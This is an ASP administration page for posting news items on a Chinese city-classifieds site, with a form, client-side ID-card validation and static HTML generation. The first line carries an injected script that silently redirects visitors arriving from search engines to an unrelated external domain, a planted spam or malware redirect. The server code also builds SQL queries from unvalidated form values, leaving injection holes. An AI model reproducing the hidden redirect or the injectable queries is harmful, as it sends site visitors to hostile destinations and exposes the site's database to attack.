d:\wwwroot\wuchunhua\cityadmin\addad_news.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<%
if session("china_cityadmin")="" then
003:
response.redirect "login.asp"
004:
end if
005:
006:
dim dtitle,dcolor,dbgcolor1,dcu,dlei,dispic,dpic,dtext,dstop,dtop,dmoney,sql,rs
007:
dim city_one,city_two,city_three,city_oneid,city_twoid,city_threeid
008:
dtitle=HtmlEncode(trim(request.form("dtitle")))
009:
dcolor=HtmlEncode(trim(request.form("dcolor")))
010:
dbgcolor1=HtmlEncode(trim(request.form("dbgcolor1")))
011:
dcu=HtmlEncode(trim(request.form("dcu")))
012:
city_oneid=HtmlEncode(trim(request.form("city_one")))
013:
city_twoid=HtmlEncode(trim(request.form("city_two")))
014:
if city_twoid="" then city_twoid=0
015:
city_threeid=HtmlEncode(trim(request.form("city_three")))
016:
if city_threeid="" then city_threeid=0
017:
dlei=HtmlEncode(trim(request.form("dlei")))
018:
dpic=HtmlEncode(trim(request.form("dpic")))
019:
dtext=HtmlEncode2(request.form("dtext"))
020:
dstop=dateadd("d",request.form("dstop"),date())
021:
dtop=HtmlEncode(trim(request.form("dtop")))
022:
023:
if dtitle<>"" then
024:
set rs=server.createobject("adodb.recordset")
025:
rs.open "select city from china_city where twoid=0 and threeid=0 and id="&city_oneid,conn,1,1
026:
city_one=rs("city")
027:
rs.close
028:
rs.open "select city from china_city where id="&city_oneid&" and threeid=0 and twoid="&city_twoid,conn,1,1
029:
city_two=rs("city")
030:
rs.close
031:
rs.open "select city from china_city where id="&city_oneid&" and twoid="&city_twoid&" and threeid="&city_threeid,conn,1,1
032:
city_three=rs("city")
033:
rs.close
034:
sql="select * from news_data"
035:
rs.open sql,conn,1,3
036:
rs.addnew
037:
rs("city_oneid")=city_oneid
038:
rs("city_one")=city_one
039:
rs("city_two")=city_two
040:
rs("city_twoid")=city_twoid
041:
rs("city_three")=city_three
042:
rs("city_threeid")=city_threeid
043:
rs("title")=dtitle
044:
rs("color")=dcolor
045:
rs("bgcolor1")=dbgcolor1
046:
rs("cu")=dcu
047:
rs("type")=dlei
048:
if dpic="http://" then
049:
dpic=""
050:
end if
051:
rs("pic")=dpic
052:
rs("text")=dtext
053:
rs("stop")=dstop
054:
rs("top")=dtop
055:
rs.update
056:
id=rs("adid")
057:
rs.close:set rs=nothing
058:
conn.close:set conn=nothing
059:
''''''''''''''''''生成html开始''''''''''''''''''''''''''
060:
ServerURL=CStr(Request.ServerVariables("SCRIPT_NAME"))
061:
n=InStrRev(ServerURL,"/") '从右边第一个字符起查找"_"的位置,n为返回值
062:
ServerURL=left(ServerURL, n-1)'显示从左边数第"n-1"个字符前面的字符,
063:
n=InStrRev(ServerURL,"/") '从右边第一个字符起查找"_"的位置,n为返回值
064:
ServerURL=left(ServerURL, n)'显示从左边数第"n"个字符前面的字符,
065:
ServerURL="http://"&Request.ServerVariables("SERVER_NAME")&""&ServerURL&"news.asp?id="&id&""
066:
067:
set http=server.createobject("MSXML2.XMLHTTP")
068:
Http.open "get",ServerURL,false
069:
Http.send()
070:
AA=Http.responseText
071:
set http=nothing
072:
set objfso = Server.CreateObject("Scripting.FileSystemObject")
073:
set htmout = objfso.CreateTextFile(server.mappath("../html/news/"&id&".htm"))
074:
AA=replace(AA,"post.asp","../../post.asp")
075:
AA=replace(AA,"adpic/","../../adpic/")
076:
AA=replace(AA,"link.asp","../../link.asp")
077:
AA=replace(AA,"link_img.asp","../../link_img.asp")
078:
AA=replace(AA,"index.asp","../../index.asp")
079:
AA=replace(AA,"114/../../index.asp","../../114/index.asp")
080:
AA=replace(AA,"ad.asp","../../ad.asp")
081:
AA=replace(AA,"TV.asp","../../tv.asp")
082:
AA=replace(AA,"user.asp","../../user.asp")
083:
AA=replace(AA,"gbook.asp","../../gbook.asp")
084:
AA=replace(AA,"city.asp","../../city.asp")
085:
AA=replace(AA,"city_more.asp","../../city_more.asp")
086:
AA=replace(AA,"reg.asp","../../reg.asp")
087:
AA=replace(AA,"login.asp","../../login.asp")
088:
AA=replace(AA,"search.asp","../../search.asp")
089:
AA=replace(AA,"114/join.asp","../../114/join.asp")
090:
AA=replace(AA,"114/qy../../login.asp","../../114/qylogin.asp")
091:
AA=replace(AA,"fabu.asp","../../fabu.asp")
092:
AA=replace(AA,"type.asp","../../type.asp")
093:
AA=replace(AA,"rq_message.asp","../../rq_message.asp")
094:
AA=replace(AA,"top.asp","../../top.asp")
095:
AA=replace(AA,"money.asp","../../money.asp")
096:
AA=replace(AA,"pic.asp","../../pic.asp")
097:
AA=replace(AA,"bbs/","../../bbs/")
098:
AA=replace(AA,"html/news/","")
099:
AA=replace(AA,"about.asp","../../about.asp")
100:
htmout.write replace(AA,"images/","../../images/")
101:
htmout.close
102:
set htmout=nothing
103:
set objfso=nothing
104:
''''''''''''''''''生成html结束''''''''''''''''''''''''''
105:
response.redirect "ok.asp"
106:
end if
%
>
107:
108:
<html>
109:
<head>
110:
<link rel="stylesheet" type="text/css" href="style.css">
111:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
112:
<meta name="GENERATOR" content="Microsoft FrontPage 6.0">
113:
<meta name="ProgId" content="FrontPage.Editor.Document">
114:
<title>发布信息</title>
115:
<SCRIPT LANGUAGE="JavaScript">
116:
<!--//
117:
function checkadd()
118:
{
119:
120:
//检查年月日是否是合法日期
121:
122:
function isdate(intYear,intMonth,intDay){
123:
124:
if(isNaN(intYear)||isNaN(intMonth)||isNaN(intDay)) return false;
125:
126:
if(intMonth>12||intMonth<1) return false;
127:
128:
if ( intDay<1||intDay>31)return false;
129:
130:
if((intMonth==4||intMonth==6||intMonth==9||intMonth==11)&&(intDay>30)) return false;
131:
132:
if(intMonth==2){
133:
134:
if(intDay>29) return false;
135:
136:
if((((intYear%100==0)&&(intYear%400!=0))||(intYear%4!=0))&&(intDay>28))return false;
137:
138:
}
139:
140:
return true;
141:
142:
}
143:
144:
145:
146:
//检查身份证是否是正确格式
147:
148:
function checkCard(dcardid)
149:
150:
{
151:
152:
var pattern;
153:
154:
if (dcardid.length==15)
155:
156:
{
157:
158:
pattern= /^\d{15}$/;//正则表达式,15位且全是数字
159:
160:
if (pattern.exec(dcardid)==null)
161:
162:
{
163:
164:
alert("15位身份证号码必须为数字!")
165:
166:
167:
return false;
168:
169:
}
170:
171:
if (!isdate("19"+dcardid.substring(6,8),dcardid.substring(8,10),dcardid.substring(10,12)))
172:
173:
{
174:
175:
alert("身份证号码中所含日期不正确")
176:
177:
return false;}
178:
179:
180:
181:
}
182:
183:
else if (dcardid.length==18)
184:
185:
{
186:
187:
pattern= /^\d{17}(\d|x|X)$/;//正则表达式,18位且前17位全是数字,最后一位只能数字,x,X
188:
189:
if (pattern.exec(dcardid)==null)
190:
191:
{
192:
193:
alert("18位身份证号码必须为数字!")
194:
195:
return false;
196:
197:
}
198:
199:
if (!isdate(dcardid.substring(6,10),dcardid.substring(10,12),dcardid.substring(12,14)))
200:
201:
{
202:
203:
alert("身份证号码中所含日期不正确")
204:
205:
return false;
206:
207:
}
208:
209:
var strJiaoYan =[ "1", "0", "X", "9", "8", "7", "6", "5", "4", "3", "2"];
210:
211:
var intQuan =[7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2, 1];
212:
213:
var intTemp=0;
214:
215:
for(i = 0; i < dcardid.length - 1; i++)
216:
217:
intTemp += dcardid.substring(i, i + 1) * intQuan[i];
218:
219:
intTemp %= 11;
220:
221:
if(dcardid.substring(dcardid.length - 1,dcardid.length).toUpperCase()!=strJiaoYan[intTemp])
222:
223:
{
224:
225:
alert("身份证末位验证码失败!")
226:
227:
return false;
228:
229:
}
230:
231:
}
232:
233:
else
234:
235:
{
236:
237:
alert("身份证号长度必须为15或18!")
238:
239:
return false;
240:
241:
}
242:
243:
return true;
244:
245:
}
246:
247:
if (document.postart.dtitle.value.length<1)
248:
{
249:
alert("请填写信息标题!");
250:
document.postart.dtitle.focus();
251:
return false;
252:
}
253:
if (document.postart.dlei.value=="选择信息类别")
254:
{
255:
alert("请选择信息类别!");
256:
document.postart.dlei.focus();
257:
return false;
258:
}
259:
if (document.postart.dtext.value.length>1500)
260:
{
261:
alert("请把信息内容的字数控制在1500以内!");
262:
document.postart.dtext.focus();
263:
return false;
264:
}
265:
266:
if (document.postart.dstop.value=="选择有效期")
267:
{
268:
alert("请选择有效期!");
269:
document.postart.dstop.focus();
270:
return false;
271:
}
272:
}
273:
//-->
274:
</SCRIPT>
275:
<SCRIPT LANGUAGE="JavaScript">
276:
<!-- Begin
277:
maxLen = 1500;
278:
function checkMaxInput(form) {
279:
if (form.dtext.value.length > maxLen)
280:
form.remLen.value = 0;
281:
else form.remLen.value = maxLen - form.dtext.value.length;
282:
}
283:
// End -->
284:
</script>
285:
286:
<script language="javascript" type="text/javascript">
287:
<!--
288:
function changeColor(o) {
289:
document.getElementById("colorBox").style.color = o.value;
290:
}
291:
//-->
292:
</script>
293:
<script language="javascript" type="text/javascript">
294:
<!--
295:
function changeColor1(o) {
296:
document.getElementById("colorBox1").style.background = o.value;
297:
}
298:
//-->
299:
</script>
300:
301:
302:
</head>
303:
304:
<body background="images/background.gif">
305:
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
306:
<tr>
307:
<td height="20" bgcolor="#799AE1" align="center"><font color="#FFFFFF" style="font-size:14px">
<%
=session("china_city")
%
>分站---发布新闻</font></td>
308:
</tr>
309:
<tr>
310:
<td bgcolor="#FFFFFF"> <br>
311:
<div align="center">
312:
<form action="" method="post" name="postart" onsubmit="return checkadd()">
313:
314:
<table width="98%" height="420" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
315:
<tr>
316:
<td width="27%" height="26" align="right" bgcolor="#FFFFFF">新闻标题:</td>
317:
<td height="26" colspan="2" bgcolor="#FFFFFF">
318:
<input type="text" name="dtitle" size="40" maxlength="40">
319:
<font color="#FF0000">*</font></td>
320:
</tr>
321:
<tr>
322:
<td width="27%" height="26" align="right" bgcolor="#FFFFFF">是否加粗:</td>
323:
<td height="26" colspan="2" bgcolor="#FFFFFF">
324:
<input type="radio" value="no" name="dcu">
325:
否
326:
<input type="radio" value="yes" name="dcu" checked>
327:
是</td>
328:
</tr>
329:
<tr bgcolor="#FFFFFF">
330:
<td align="right" bgcolor="#FFFFFF">标题颜色:</td>
331:
<td height="26" bgcolor="#FFFFFF">
332:
<input name="dcolor" type="text" id="dcolor" size="8" onchange="changeColor(this);" />
333:
<input type="button" name="Submit" value="选择颜色" onclick="window.open('../colorpicker.html', 'colorPicker', 'width=200, height=160');" />
334:
</td>
335:
<td rowspan="2" align="center" bgcolor="#FFFFFF">
336:
<table width="180" height="24" border="0" cellpadding="0" cellspacing="1" bgcolor="#cae2f8">
337:
<tr>
338:
<td align="center" bgColor="#EFF7FE">
339:
<div id="colorBox1" style="width: 180px;height: 24px">
340:
<table width="166" border="0" cellspacing="0" cellpadding="0" height="5">
341:
<tr>
342:
<td></td>
343:
</tr>
344:
</table>
345:
<div id="colorBox"><font style="font-size:14px"><b>标题和背景颜色演示</b></font></div>
346:
</div>
347:
</td>
348:
</tr>
349:
</table>
350:
</td>
351:
</tr>
352:
<tr bgcolor="#FFFFFF">
353:
<td align="right" bgcolor="#FFFFFF">标题背景:</td>
354:
<td height="26" bgcolor="#FFFFFF">
355:
<input name="dbgcolor1" type="text" id="dbgcolor1" size="8" onchange="changeColor1(this);" />
356:
<input type="button" name="Submit" value="选择颜色" onclick="window.open('../colorpicker1.html', 'colorPicker', 'width=200, height=160');" />
357:
</td>
358:
</tr>
359:
<tr>
360:
<td width="27%" height="26" align="right" bgcolor="#FFFFFF">选择城市:</td>
361:
<td height="26" colspan="2" bgcolor="#FFFFFF">
362:
<%
363:
set rs=conn.execute("select * from china_city where id>0 and twoid>0 and threeid=0")
364:
%
>
365:
<script language = "JavaScript">
366:
var onecount;
367:
onecount=0;
368:
subcat = new Array();
369:
<%
370:
dim count:count = 0
371:
do while not rs.eof
372:
%
>
373:
subcat[
<%
=count
%
>] = new Array("
<%
=rs("city")
%
>","
<%
=rs("id")
%
>","
<%
=rs("twoid")
%
>");
374:
<%
375:
count = count + 1
376:
rs.movenext
377:
loop
378:
rs.close
379:
set rs=nothing
380:
%
>
381:
onecount=
<%
=count
%
>;
382:
</script>
383:
<%
384:
set rs=conn.execute("select * from china_city where id>0 and twoid>0 and threeid>0")
385:
%
>
386:
<script language = "JavaScript">
387:
var onecount4;
388:
onecount4=0;
389:
subcat4 = new Array();
390:
<%
391:
dim count4:count4 = 0
392:
do while not rs.eof
393:
%
>
394:
subcat4[
<%
=count4
%
>] = new Array("
<%
=rs("city")
%
>","
<%
=rs("id")
%
>","
<%
=rs("twoid")
%
>","
<%
=rs("threeid")
%
>");
395:
<%
396:
count4 = count4 + 1
397:
rs.movenext
398:
loop
399:
rs.close
400:
set rs = nothing
401:
%
>
402:
onecount4=
<%
=count4
%
>;
403:
404:
function changelocation(locationid)
405:
{
406:
document.postart.city_two.length = 0;
407:
document.postart.city_two.options[0] = new Option('选择城市','');
408:
document.postart.city_three.length = 0;
409:
document.postart.city_three.options[0] = new Option('选择城市','');
410:
var locationid=locationid;
411:
var i;
412:
for (i=0;i < onecount; i++)
413:
{
414:
if (subcat[i][1] == locationid)
415:
{
416:
document.postart.city_two.options[document.postart.city_two.length] = new Option(subcat[i][0], subcat[i][2]);
417:
}
418:
}
419:
420:
}
421:
422:
function changelocation4(locationid,locationid1)
423:
{
424:
document.postart.city_three.length = 0;
425:
document.postart.city_three.options[0] = new Option('选择城市','');
426:
var locationid=locationid;
427:
var locationid1=locationid1;
428:
var i;
429:
for (i=0;i < onecount4; i++)
430:
{
431:
if (subcat4[i][2] == locationid)
432:
{
433:
if (subcat4[i][1] == locationid1)
434:
{
435:
document.postart.city_three.options[document.postart.city_three.length] = new Option(subcat4[i][0], subcat4[i][3]);
436:
}
437:
}
438:
}
439:
}
440:
</script>
441:
<select name="city_one" size="1" id="select2" onChange="changelocation(document.postart.city_one.options[document.postart.city_one.selectedIndex].value)">
442:
<%
set rs=conn.execute("select * from china_city where id="&session("oneid")&" and twoid=0")
443:
if rs.eof or rs.bof then
444:
response.write "<option value=''>没有分类</option>"
445:
else
446:
do until rs.eof
447:
response.write "<option value='"&rs("id")&"'>"&rs("city")&"</option>"
448:
rs.movenext
449:
loop
450:
end if
451:
rs.close
452:
set rs = nothing
453:
%
>
454:
</select>
455:
<select name="city_two" id="city_two" onChange="changelocation4(document.postart.city_two.options[document.postart.city_two.selectedIndex].value,document.postart.city_one.options[document.postart.city_one.selectedIndex].value)">
456:
<%
if session("twoid")<>0 then
457:
set rs=conn.execute("select * from china_city where id="&session("oneid")&" and twoid="&session("twoid")&" and threeid=0")
458:
response.write "<option value='"&rs("twoid")&"'>"&rs("city")&"</option>"
459:
rs.close
460:
set rs = nothing
461:
else
462:
set rs=conn.execute("select * from china_city where id="&session("oneid")&" and twoid<>0 and threeid=0")
463:
if rs.eof or rs.bof then
464:
response.write "<option value=''>没有分类</option>"
465:
else
466:
do until rs.eof
467:
response.write "<option value='"&rs("twoid")&"'>"&rs("city")&"</option>"
468:
rs.movenext
469:
loop
470:
%
><option value="" selected>选择城市</option>
471:
<%
end if
472:
rs.close
473:
set rs = nothing
474:
end if
475:
%
>
476:
477:
</select>
478:
<select name="city_three" id="city_three">
479:
<%
if session("threeid")<>0 then
480:
set rs=conn.execute("select * from china_city where id="&session("oneid")&" and twoid="&session("twoid")&" and threeid="&session("threeid")&"")
481:
response.write "<option value='"&rs("threeid")&"'>"&rs("city")&"</option>"
482:
rs.close
483:
set rs = nothing
484:
else
485:
set rs=conn.execute("select * from china_city where id="&session("oneid")&" and twoid="&session("twoid")&" and threeid<>0")
486:
if rs.eof or rs.bof then
487:
response.write "<option value=''>没有分类</option>"
488:
else
489:
do until rs.eof
490:
response.write "<option value='"&rs("twoid")&"'>"&rs("city")&"</option>"
491:
rs.movenext
492:
loop
493:
%
><option value="" selected>选择城市</option>
494:
<%
end if
495:
rs.close
496:
set rs = nothing
497:
end if
498:
%
>
499:
</select><font color="#FF0000">*</font> </td>
500:
</tr>
501:
<tr>
502:
<td width="27%" height="26" align="right" bgcolor="#FFFFFF">新闻类别:</td>
503:
<td height="26" colspan="2" bgcolor="#FFFFFF">
504:
<select name="dlei" size="1">
505:
<option value="选择信息类别" selected>选择信息类别</option>
506:
<%
set rs_lei = server.createobject("adodb.recordset")
507:
sql = "select * from news_type"
508:
rs_lei.open sql,conn,1,1
509:
do while not rs_lei.eof
%
>
510:
<option value="
<%
=rs_lei("name")
%
>">
<%
=rs_lei("name")
%
></option>
511:
<%
rs_lei.movenext
512:
loop
513:
rs_lei.close
514:
set rs_lei = nothing
515:
conn.close
516:
set conn=nothing
%
>
517:
</select>
518:
</td>
519:
</tr>
520:
<tr>
521:
<td width="27%" height="26" align="right" bgcolor="#FFFFFF">图片路径:</td>
522:
<td height="26" colspan="2" bgcolor="#FFFFFF">
523:
<input type="text" name="dpic" size="30" value="">
524:
<iframe style="top:2px" ID="UploadFiles" src="../upload_Photo.asp?PhotoUrlID=0" frameborder=0 scrolling=no width="320" height="25"></iframe></td>
525:
</tr>
526:
<tr>
527:
<td width="27%" align="right" valign="top" bgcolor="#FFFFFF">新闻内容:
528:
</td>
529:
<td colspan="2" bgcolor="#FFFFFF">
530:
<textarea rows="14" name="dtext" cols="60" onKeyDown="checkMaxInput(this.form)" onKeyUp="checkMaxInput(this.form)"></textarea>
531:
<font color="#FF0000">* </font> <font color="#FF0000"><br>
532:
目前还可写
533:
<input readonly type=text name=remLen size=4 maxlength=4 value="1500" style="border: 1 solid #888888">
534:
个字!</font></td>
535:
</tr>
536:
<tr>
537:
<td width="27%" height="26" align="right" bgcolor="#FFFFFF">有效期至:</td>
538:
<td height="26" colspan="2" bgcolor="#FFFFFF">
539:
<select size="1" name="dstop">
540:
<option value="选择有效期">选择有效期</option>
541:
<option value="7">一星期</option>
542:
<option value="15">半个月</option>
543:
<option value="31">一个月</option>
544:
<option value="61">两个月</option>
545:
<option value="92">三个月</option>
546:
<option value="183">半年</option>
547:
<option value="365">一年</option>
548:
<option value="3650" selected>长期</option>
549:
</select>
550:
</td>
551:
</tr>
552:
<tr>
553:
<td width="27%" height="26" align="right" bgcolor="#FFFFFF">是否固顶:</td>
554:
<td height="26" colspan="2" bgcolor="#FFFFFF">
555:
<input type="radio" value="0" name="dtop" checked>
556:
否
557:
<input type="radio" value="1" name="dtop">
558:
是</td>
559:
560:
<tr>
561:
<td width="27%" height="30" align="right" bgcolor="#FFFFFF"> </td>
562:
<td height="30" colspan="2" align="right" bgcolor="#FFFFFF">
563:
<p align="left">
564:
<input type="submit" value="提交" name="submit">
565:
566:
<input type="reset" value="取消" name="reset">
567:
568:
<input type="button" value="返回" name="back" onclick="javascript:history.back()">
569:
</td>
570:
</tr>
571:
</table>
572:
</form>
573:
</div>
574:
<br>
575:
</td>
576:
</tr>
577:
</table>
578:
</body>
579:
580:
</html>
581:
582:
583: